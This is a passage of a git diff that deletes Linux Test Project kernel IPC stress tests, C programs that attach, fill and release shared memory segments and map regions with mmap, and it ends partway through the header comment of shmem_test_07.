-				printf("\t[%d][%d] Check sums DON'T compare\n",
-				       pid, loop);
-			}
-		}
-
-	}			/* end loop */
-
-	/*
-	 * Unmap the region.
-	 */
-	if ((rc = munmap(region, length)) != 0) {
-		sys_error("munmap failed", __LINE__);
-	}
-	/*
-	 * Program completed successfully -- exit
-	 */
-	if (pid != parent_pid)
-		exit(0);
-
-	printf("\nsuccessful!\n");
-	cleanup(0);
-	return 0;
-}
-
-static void cleanup(int rc)
-{
-	int i;
-
-	/*
-	 * Close and remove any file we've created.
-	 */
-	if (Fflg) {
-		close(fd);
-		unlink(filename);
-	}
-
-	/*
-	 * Kill any child processes we've started.
-	 */
-	if (rc) {
-		for (i = 1; i < nprocs; i++) {
-			kill(childpid[i], SIGKILL);
-		}
-	}
-
-	exit(rc);
-}
-
-/*
- * segv_handler - signal handler for SIGSEGV
- */
-static void segv_handler(int signal, int code, struct sigcontext *scp)
-{
-#ifndef _LINUX_
-	int except;
-	ulong_t dar, dsisr;
-	int rc;
-
-	/*
-	 * Get the exception type.  This is either an errno value
-	 * or an exception value from <sys/m_except.h>.
-	 */
-#ifdef _IA64
-	except = scp->sc_context.__excp_type;
-#else
-	except = scp->sc_jmpbuf.jmp_context.excp_type;
-#endif
-
-	/*
-	 * Get the Data Address Register and Interrupt Status Register
-	 * for the exception.
-	 */
-#ifdef _IA64
-	dar = scp->sc_context.__ifa;
-	dsisr = scp->sc_context.__isr;
-#else
-	dar = scp->sc_jmpbuf.jmp_context.except[0];
-	dsisr = scp->sc_jmpbuf.jmp_context.except[1];
-#endif
-
-	printf("SIGSEGV occurred on address 0x%08x.\n", dar);
-
-	/*
-	 * Determine if the operation was a load or a store.
-	 * Definition of bits in DSISR are in <sys/machine.h>.
-	 */
-	if (dsisr & DSISR_ST) {
-		printf("The operation was a store.\n");
-	} else {
-		printf("The operation was a load.\n");
-	}
-
-	switch (except) {
-
-	case EFAULT:
-		printf("Exception was due to a bad address.\n");
-		break;
-
-	case EXCEPT_PROT:
-		printf("Exception was due to a protection violation.\n");
-		break;
-
-	default:
-		printf("Exception type = 0x%08x.\n", except);
-	}
-#else
-	printf("An unexpected segmentation fault occurred... Exiting\n");
-#endif
-
-	cleanup(1);
-}
-
-/*
- * bus_handler - signal handler for SIGBUS
- */
-static void bus_handler(int signal, int code, struct sigcontext *scp)
-{
-#ifndef _LINUX_
-	int except;
-	ulong_t dar, dsisr;
-	int rc;
-
-	/*
-	 * Get the exception type.  This is either an errno value
-	 * or an exception value from <sys/m_except.h>.
-	 */
-#ifdef _IA64
-	except = scp->sc_context.__excp_type;
-#else
-	except = scp->sc_jmpbuf.jmp_context.excp_type;
-#endif
-
-	/*
-	 * Get the Data Address Register and Interrupt Status Register
-	 * for the exception.
-	 */
-#ifdef _IA64
-	dar = scp->sc_context.__ifa;
-	dsisr = scp->sc_context.__isr;
-#else
-	dar = scp->sc_jmpbuf.jmp_context.except[0];
-	dsisr = scp->sc_jmpbuf.jmp_context.except[1];
-#endif
-
-	printf("SIGBUS occurred on address 0x%08x:\n", dar);
-
-	switch (except) {
-
-	case ENOSPC:
-		printf("A mapper fault required disk allocation and \
-			no space is left on the device.\n");
-		break;
-
-	case EDQUOT:
-		printf("A mapper fault required disk allocation and \
-			the disc quota was exceeded.\n");
-		break;
-
-	case EXCEPT_EOF:
-		printf("An mmap() mapper referenced beyond end-of-file.\n");
-		break;
-
-	default:
-		printf("Exception type = 0x%08x.\n", except);
-	}
-#else
-	printf("An unexpected bus error occurred... Exiting\n");
-#endif
-
-	cleanup(1);
-}
-
-/*
- * int_handler - signal handler for SIGINT
- */
-static void int_handler(int sig)
-{
-	cleanup(1);
-}
-
-/*
- * mkemptyfile()
- *
- * Make an empty temporary file of a given size and return its descriptor.
- */
-static int mkemptyfile(uint size)
-{
-#ifdef _LINUX_
-
-	filename = malloc(256);
-
-	sprintf(filename, "%s/%sXXXXXX", TEMPDIR, TEMPNAME);
-	fd = mkstemp(filename);
-
-#else
-	/* Get a new file name
-	 */
-	filename = tempnam(TEMPDIR, TEMPNAME);
-
-	/* Create the file.
-	 * O_EXCL:      I'm supposed to be getting a unique name so if
-	 *              a file already exists by this name then fail.
-	 * 0700:        Set up for r/w access by owner only.
-	 */
-	if ((fd = open(filename, O_CREAT | O_EXCL | O_RDWR, 0700)) == -1)
-		return (-1);
-
-#endif // _LINUX_
-
-	/* Now extend it to the requested length.
-	 */
-	if (lseek(fd, size - 1, SEEK_SET) == -1)
-		return (-1);
-
-	if (write(fd, "\0", 1) == -1)
-		return (-1);
-
-	/* Sync the file out.
-	 */
-	fsync(fd);
-
-	return (fd);
-}
-
-/*---------------------------------------------------------------------+
-|                          setup_signal_handlers                       |
-| ==================================================================== |
-|                                                                      |
-| Function:  Sets up signal handlers for following signals:            |
-|                                                                      |
-|            SIGINT  - interrupt, generated from terminal spec. char   |
-|            SIGBUS  - bus error (specification execption)             |
-|            SIGSEGV - segmentation violation                          |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void setup_signal_handlers()
-{
-	struct sigaction sigact;
-
-	sigact.sa_flags = 0;
-	sigfillset(&sigact.sa_mask);
-
-	/*
-	 * Establish the signal handlers for SIGSEGV, SIGBUS & SIGINT
-	 */
-	sigact.sa_handler = (void (*)(int))segv_handler;
-	if (sigaction(SIGSEGV, &sigact, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-
-	sigact.sa_handler = (void (*)(int))bus_handler;
-	if (sigaction(SIGBUS, &sigact, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-
-	sigact.sa_handler = (void (*)(int))int_handler;
-	if (sigaction(SIGINT, &sigact, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-s] size: shared memory segment size                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void parse_args(int argc, char **argv)
-{
-	int opt;
-	int bytes = 0, megabytes = 0;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	/*
-	 * Parse command line options.
-	 */
-	while ((opt = getopt(argc, argv, "DFMWvb:l:m:p:")) != EOF) {
-		switch (opt) {
-		case 'F':	/* map a file */
-			Fflg++;
-			break;
-		case 'M':	/* map anonymous memory */
-			Mflg++;
-			break;
-		case 'v':	/* verbose */
-			Vflg++;
-			break;
-		case 'W':	// allocate to pgsp warning level
-			Wflg++;
-			break;
-		case 'b':	/* length in bytes */
-			bflg++;
-			bytes = atoi(optarg);
-			break;
-		case 'l':	/* number of loops */
-			lflg++;
-			nloops = atoi(optarg);
-			break;
-		case 'm':	/* length in MB */
-			mflg++;
-			megabytes = atoi(optarg);
-			break;
-		case 'p':	/* number of processes */
-			pflg++;
-			nprocs = atoi(optarg);
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-
-	/*
-	 * Determine the number of processes to run.
-	 */
-	if (pflg) {
-		if (nprocs > MAXPROCS)
-			nprocs = MAXPROCS;
-	} else {
-		nprocs = 1;
-	}
-
-	/*
-	 * Determine the type of object to map.
-	 */
-	if (Fflg) {
-		objtype = FILEOBJ;
-	} else if (Mflg) {
-		objtype = MEMOBJ;
-	} else {
-		objtype = MEMOBJ;
-	}
-
-	/*
-	 * The 'W' flag is used to determine the size of an anonymous
-	 * region that will use the amount of paging space available
-	 * close to the paging space warning level.
-	 */
-
-	if (Wflg)
-#ifdef _LINUX_
-		printf
-		    ("Option 'W' not implemented in Linux (psdanger() and SIGDANGER)\n");
-#else
-	{
-		pgspblks = psdanger(SIGDANGER);
-		pgspblks -= 256;	// leave a little room
-		if (pgspblks < 0)
-			pgspblks = 0;
-		bytes = pgspblks * PAGE_SIZE;
-		bflg = 1;
-		mflg = 0;
-	}
-#endif
-
-	/*
-	 * Determine size of region to map in bytes for each process.
-	 */
-	if (mflg) {
-		length = megabytes * MB;
-	} else if (bflg) {
-		length = bytes;
-	} else {
-		length = 16 * MB;
-	}
-
-	/*
-	 * Set default loops.
-	 */
-	if (!lflg) {
-		nloops = 1;
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	cleanup(1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/shmem_test_05.c b/testcases/kernel/ipc/ipc_stress/shmem_test_05.c
deleted file mode 100644
index adc64c3..0000000
--- a/testcases/kernel/ipc/ipc_stress/shmem_test_05.c
+++ /dev/null
@@ -1,330 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           shmem_test_05.c                            |
-| ==================================================================== |
-|                                                                      |
-| Title:        SHMBLA is treated as 0x1000                            |
-|                                                                      |
-| Purpose:      simultaneous attachment of more than ten shared        |
-|               memory regions to a process at adresses that are       |
-|		multiple of the value SHMBLA . EXTSHM=ON is set ,      |
-|               the value of SHMLBA is treated as 0x1000 internally    |
-|                                                                      |
-| Description:  Simplistic test to verify that a process can obtain    |
-|               11 shared memory regions in the adress space from      |
-|               0x30000000 to 0x3FFFFFFF .                             |
-|                                                                      |
-|                                                                      |
-| Algorithm:    *  from 1 up to 11                                     |
-|               {                                                      |
-|               o  Create a key to uniquely identify the shared segment|
-|		   using ftok()	subroutine.			       |
-|               o  Obtain a unique shared memory identifier with       |
-|                  shmget ()                                           |
-|               o  Map the shared memory segment to the current        |
-|                  process with shmat ()                               |
-|               o  Index through the shared memory segment             |
-|               }                                                      |
-|               *  from 1 up to 11                                     |
-|               {                                                      |
-|               o  Detach from the segment with shmdt()                |
-|               o  Release the shared memory segment with shmctl ()    |
-|               }                                                      |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               ftok()                                                 |
-|               shmget ()                                              |
-|               shmat ()                                               |
-|               shmdt ()                                               |
-|               shmctl ()                                              |
-|                                                                      |
-| Usage:        shmem_test_05                                          |
-|                                                                      |
-| To compile:   cc -O -g  shmem_test_05.c -o shmem_test_05 -lbsd       |
-|                                                                      |
-| Last update:                                                         |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     010997  J.Malcles  initial version for 4.2.G              |
-|                                                                      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <unistd.h>
-#include <sys/shm.h>
-
-#include <sys/types.h>
-#include <sys/ipc.h>
-
-#include <sys/stat.h>
-off_t offsets[] = {
-	0x30000000,
-	0x30200000,
-	0x30400000,
-	0x30600000,
-	0x30800000,
-	0x30A00000,
-	0x30C00000,
-	0x30D00000,
-	0x30F00000,
-	0x31000000,
-	0x32000000
-};
-
-int offsets_cnt = sizeof(offsets) / sizeof(offsets[0]);
-/* Defines
- *
- * MAX_SHMEM_SIZE: maximum shared memory segment size of 256MB
- *
- * MAX_SHMEM_NUMBER: maximum number of simultaneous attached shared memory
- * regions
- *
- * DEFAULT_SHMEM_SIZE: default shared memory size, unless specified with
- * -s command line option
- *
- * SHMEM_MODE: shared memory access permissions (permit process to read
- * and write access)
- *
- * USAGE: usage statement
- */
-#define MAX_SHMEM_SIZE		256*1024*1024
-#define MAX_SHMEM_NUMBER	11
-#define DEFAULT_SHMEM_SIZE	1024*1024
-#define	SHMEM_MODE		(SHM_R | SHM_W)
-#define USAGE	"\nUsage: %s [-s shmem_size]\n\n" \
-		"\t-s shmem_size  size of shared memory segment (bytes)\n" \
-		"\t               (must be less than 256MB!)\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-void parse_args(int, char **);
-void sys_error(const char *, int);
-void error(const char *, int);
-
-/*
- * Global variables
- *
- * shmem_size: shared memory segment size (in bytes)
- */
-int shmem_size = DEFAULT_SHMEM_SIZE;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	off_t offset;
-	int i;
-
-	int shmid[MAX_SHMEM_NUMBER];	/* (Unique) Shared memory identifier */
-
-	char *shmptr[MAX_SHMEM_NUMBER];	/* Shared memory segment address */
-	char *ptr;		/* Index into shared memory segment */
-
-	int value = 0;		/* Value written into shared memory segment */
-
-	key_t mykey[MAX_SHMEM_NUMBER];
-	char *null_file = "/dev/null";
-	char proj[MAX_SHMEM_NUMBER] = {
-		'3',
-		'4',
-		'5',
-		'6',
-		'7',
-		'8',
-		'9',
-		'A',
-		'B',
-		'C',
-		'E'
-	};
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Shared Memory TestSuite program\n", *argv);
-
-	for (i = 0; i < offsets_cnt; i++) {
-		/*
-		 * Create a key to uniquely identify the shared segment
-		 */
-
-		mykey[i] = ftok(null_file, proj[i]);
-
-		printf
-		    ("\n\tmykey to uniquely identify the shared memory segment 0x%x\n",
-		     mykey[i]);
-
-		printf("\n\tGet shared memory segment (%d bytes)\n",
-		       shmem_size);
-		/*
-		 * Obtain a unique shared memory identifier with shmget ().
-		 */
-
-/*	if ((shmid[i]= shmget(mykey[i], shmem_size, IPC_CREAT | 0666 )) < 0) */
-		if ((shmid[i] = shmget(IPC_PRIVATE, shmem_size,
-				       IPC_CREAT | IPC_EXCL | 0666)) < 0)
-			sys_error("shmget failed", __LINE__);
-
-		printf("\n\tAttach shared memory segment to process\n");
-		/*
-		 * Attach the shared memory segment to the process
-		 */
-
-		offset = offsets[i];
-
-#ifndef __64BIT__
-		printf("\n\toffset of the shared memory segment 0x%lx\n",
-		       offset);
-		if ((shmptr[i] =
-		     shmat(shmid[i], (const void *)offset, 0)) == (char *)-1)
-#else
-		printf
-		    ("\n\toffset of the shared memory is determined by the system\n");
-		if ((shmptr[i] = (char *)shmat(shmid[i], 0, 0)) == (char *)-1)
-#endif
-			sys_error("shmat failed", __LINE__);
-
-		printf("\n\tIndex through shared memory segment ...\n");
-
-		/*
-		 * Index through the shared memory segment
-		 */
-
-		for (ptr = shmptr[i]; ptr < (shmptr[i] + shmem_size); ptr++)
-			*ptr = value++;
-
-	}
-
-	printf("\n\tDetach from the segment using the shmdt subroutine\n");
-
-	printf("\n\tRelease shared memory\n");
-
-	for (i = 0; i < offsets_cnt; i++) {
-		/*
-		 * Detach from the segment
-		 */
-
-		shmdt(shmptr[i]);
-
-		/*
-		 * Release shared memory
-		 */
-
-		if (shmctl(shmid[i], IPC_RMID, 0) < 0)
-			sys_error("shmctl failed", __LINE__);
-
-	}
-	/*
-	 * Program completed successfully -- exit
-	 */
-
-	printf("\nsuccessful!\n");
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-s] size: shared memory segment size                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void parse_args(int argc, char **argv)
-{
-	int i;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((i = getopt(argc, argv, "s:?")) != EOF) {
-		switch (i) {
-		case 's':
-			shmem_size = atoi(optarg);
-			break;
-		case '?':
-			errflag++;
-			break;
-		}
-	}
-
-	if (shmem_size < 1 || shmem_size > MAX_SHMEM_SIZE)
-		errflag++;
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/shmem_test_06.c b/testcases/kernel/ipc/ipc_stress/shmem_test_06.c
deleted file mode 100644
index 154b1ef..0000000
--- a/testcases/kernel/ipc/ipc_stress/shmem_test_06.c
+++ /dev/null
@@ -1,301 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *   Copyright (C) 2008 CAI Qian <caiqian@cclom.cn>
- *
- *   This program is free software; you can redistribute it and/or
- *   modify it under the terms of the GNU General Public License as
- *   published by the Free Software Foundation; either version 2 of the
- *   License, or (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program; if not, write to the Free Software
- *   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
- *   USA
- */
-/*---------------------------------------------------------------------+
-|                           shmem_test_06.c                            |
-| ==================================================================== |
-| Title:        Segment Register 0xE                                   |
-|                                                                      |
-| Purpose:      simultaneous attachment of more than ten shared        |
-|               memory regions to a process. Using segment registers   |
-|               0x3 to 0xC and 0xE .                                   |
-|                                                                      |
-| Description:  Simplistic test to verify that a process can obtain    |
-|               11 shared memory regions.                              |
-|                                                                      |
-|                                                                      |
-| Algorithm:    *  from 1 up to 11                                     |
-|               {                                                      |
-|               o  Create a key to uniquely identify the shared segment|
-|		   using ftok()	subroutine.			       |
-|               o  Obtain a unique shared memory identifier with       |
-|                  shmget ()                                           |
-|               o  Map the shared memory segment to the current        |
-|                  process with shmat ()                               |
-|               o  Index through the shared memory segment             |
-|               }                                                      |
-|               *  from 1 up to 11                                     |
-|               {                                                      |
-|               o  Detach from the segment with shmdt()                |
-|               o  Release the shared memory segment with shmctl ()    |
-|               }                                                      |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               ftok()                                                 |
-|               shmget ()                                              |
-|               shmat ()                                               |
-|               shmdt ()                                               |
-|               shmctl ()                                              |
-|                                                                      |
-| Usage:        shmem_test_06                                          |
-|                                                                      |
-| To compile:   cc -O -g  shmem_test_06.c -o shmem_test_06 -lbsd       |
-|                                                                      |
-| Last update:                                                         |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     010797  J.Malcles  initial version for 4.2.G              |
-|                                                                      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <unistd.h>
-#include <sys/shm.h>
-
-#include <sys/types.h>
-#include <sys/ipc.h>
-
-#include <sys/stat.h>
-int offsets_cnt = 11;
-/* Defines
- *
- * MAX_SHMEM_SIZE: maximum shared memory segment size of 256MB
- *
- * MAX_SHMEM_NUMBER: maximum number of simultaneous attached shared memory
- * regions
- *
- * DEFAULT_SHMEM_SIZE: default shared memory size, unless specified with
- * -s command line option
- *
- * SHMEM_MODE: shared memory access permissions (permit process to read
- * and write access)
- *
- * USAGE: usage statement
- */
-#define MAX_SHMEM_SIZE		256*1024*1024
-#define MAX_SHMEM_NUMBER	11
-#define DEFAULT_SHMEM_SIZE	1024*1024
-#define	SHMEM_MODE		(SHM_R | SHM_W)
-#define USAGE	"\nUsage: %s [-s shmem_size]\n\n" \
-		"\t-s shmem_size  size of shared memory segment (bytes)\n" \
-		"\t               (must be less than 256MB!)\n\n"
-
-#define GOTHERE printf("got to line %d\n", __LINE__);
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-void parse_args(int, char **);
-void sys_error(const char *, int);
-void error(const char *, int);
-
-/*
- * Global variables
- *
- * shmem_size: shared memory segment size (in bytes)
- */
-int shmem_size = DEFAULT_SHMEM_SIZE;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int i;
-
-	int shmid[MAX_SHMEM_NUMBER];	/* (Unique) Shared memory identifier */
-
-	char *shmptr[MAX_SHMEM_NUMBER];	/* Shared memory segment address */
-	char *ptr;		/* Index into shared memory segment */
-
-	int value = 0;		/* Value written into shared memory segment */
-
-	key_t mykey[MAX_SHMEM_NUMBER];
-	char *null_file = "/dev/null";
-	char proj[MAX_SHMEM_NUMBER] = {
-		'3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'E'
-	};
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Shared Memory TestSuite program\n", *argv);
-
-	for (i = 0; i < offsets_cnt; i++) {
-		char tmpstr[256];
-		/*
-		 * Create a key to uniquely identify the shared segment
-		 */
-
-		mykey[i] = ftok(null_file, proj[i]);
-
-		printf
-		    ("\n\tmykey to uniquely identify the shared memory segment 0x%x\n",
-		     mykey[i]);
-
-		printf("\n\tGet shared memory segment (%d bytes)\n",
-		       shmem_size);
-		/*
-		 * Obtain a unique shared memory identifier with shmget ().
-		 */
-
-		if ((long)
-		    (shmid[i] =
-		     shmget(mykey[i], shmem_size, IPC_CREAT | 0666)) < 0)
-			sys_error("shmget failed", __LINE__);
-
-		printf("\n\tAttach shared memory segment to process\n");
-
-		if ((long)(shmptr[i] = shmat(shmid[i], NULL, 0)) == -1) {
-			/* If shmat(2) failed, we need the currect process address
-			   space layout to debug. The failure can be random. */
-			sprintf(tmpstr, "cat /proc/%d/maps >&2", (int)getpid());
-			fprintf(stderr, "heap %p\n", sbrk(0));
-			system(tmpstr);
-
-			sprintf(tmpstr, "shmat failed - return: %ld",
-				(long)shmptr[i]);
-			sys_error(tmpstr, __LINE__);
-		}
-
-		printf("\n\tShared memory segment address : %p \n", shmptr[i]);
-
-		printf("\n\tIndex through shared memory segment ...\n");
-
-		/*
-		 * Index through the shared memory segment
-		 */
-
-		for (ptr = shmptr[i]; ptr < (shmptr[i] + shmem_size); ptr++)
-			*ptr = value++;
-
-	}			// for 1..11
-
-	printf("\n\tDetach from the segment using the shmdt subroutine\n");
-
-	printf("\n\tRelease shared memory\n");
-
-	for (i = 0; i < offsets_cnt; i++) {
-		// Detach from the segment
-
-		shmdt(shmptr[i]);
-
-		// Release shared memory
-
-		if (shmctl(shmid[i], IPC_RMID, 0) < 0)
-			sys_error("shmctl failed", __LINE__);
-
-	}			// 2nd for 1..11
-	/*
-	 * Program completed successfully -- exit
-	 */
-
-	printf("\nsuccessful!\n");
-
-	return (0);
-
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-s] size: shared memory segment size                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void parse_args(int argc, char **argv)
-{
-	int i;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((i = getopt(argc, argv, "s:?")) != EOF) {
-		switch (i) {
-		case 's':
-			shmem_size = atoi(optarg);
-			break;
-		case '?':
-			errflag++;
-			break;
-		}
-	}
-
-	if (shmem_size < 1 || shmem_size > MAX_SHMEM_SIZE)
-		errflag++;
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-  |                             sys_error ()                             |
-  | ==================================================================== |
-  |                                                                      |
-  | Function:  Creates system error message and calls error ()           |
-  |                                                                      |
-  +---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/shmem_test_07.c b/testcases/kernel/ipc/ipc_stress/shmem_test_07.c
deleted file mode 100644
index c31649a..0000000
--- a/testcases/kernel/ipc/ipc_stress/shmem_test_07.c
+++ /dev/null
@@ -1,688 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           shmem_test_07.c                            |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verify shared memory functions with                    |
-|                                                                      |
-| Algorithm:                                                           |
-|                    ## shared memory segments ##                      |
-|               *  from 1 up to number_of_writer                       |
-|               {                                                      |
-|               o  Obtain three shared memory segments per writer      |
-|                  one for storing the read count (number of thread    |
-|                  reading "scratch" shm) ,                            |
-|                  another for storing the checksums of readers ,      |
-|                  and the last for the "scratch" shared memory segment|
-|                  for storing a series of values .                    |
-|               }                                                      |
-|                    ## Threads ##                                     |
-|               *  from 1 up to number_of_writer                       |
-|               {                                                      |
-|                  Initializes mutexes ,                               |
-|                  Insure the writer gets first access to the segment: |
-|                  Threads are synchronized with Condition Varaiables  |
-|                                                                      |
-|                  thread_hold[number_of_writer]=1;                    |
-|                                                                      |
-|               }                                                      |
-|               *  from 1 up to number_of_writer                       |
-|               {                                                      |
-|                  Create/Start all num_writers threads (writer)       |
-|                  from 1 up to number_of_reader                       |
-|                       {                                              |
-|                       Create/Start all num_readers threads (reader)  |
-|                       }                                              |
-|               }                                                      |
-|               *  from 1 up to number_of_writer                       |
-|               {                                                      |
-|                  Wait for the termination of writer thread           |
-|                  from 1 up to number_of_reader                       |
-|                       {                                              |
-|                       Wait for the termination of reader thread      |
-|                       }                                              |
-|               }                                                      |
-|               *  from 1 up to number_of_writer                       |
-|               {                                                      |
-|                  Get writer checksum                                 |
-|                  from 1 up to number_of_reader                       |
-|                       {                                              |
-|                       Verify that each checksum calculated by readers|
-|                       match with the writer checksum                 |
-|                       }                                              |
-|               }                                                      |
-|----------------------------------------------------------------------|
-|                               writer ()                              |
-|----------------------------------------------------------------------|
-|               o  Writer:                                             |
-|                     - Fill the "scratch" shared memory segment up    |
-|                       with data                                      |
-|                     - Compute the segment checksum                   |
-|                     - release lock (reader threads may begin) i.e:   |
-|                                                                      |
-|                       thread_hold[num_w]=0;                          |
-|                                                                      |
-|----------------------------------------------------------------------|
-|                               reader ()                              |
-|----------------------------------------------------------------------|
-|               o  Reader:                                             |
-|                     - Check to see if we need to wait i.e:           |
-|                                                                      |
-|                       while (thread_hold[num_w]) wait;               |
-|                                                                      |
-|                     - Evaluate checksum                              |
-|                     - Store the resulting checksum                   |
-|----------------------------------------------------------------------|
-|                                                                      |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|               shmget ()                                              |
-|               shmat ()                                               |
-|               shmctl ()                                              |
-|                                                                      |
-|               The following system calls are used:                   |
-|               malloc ()                                              |
-|               pthread_mutex_init()                                   |
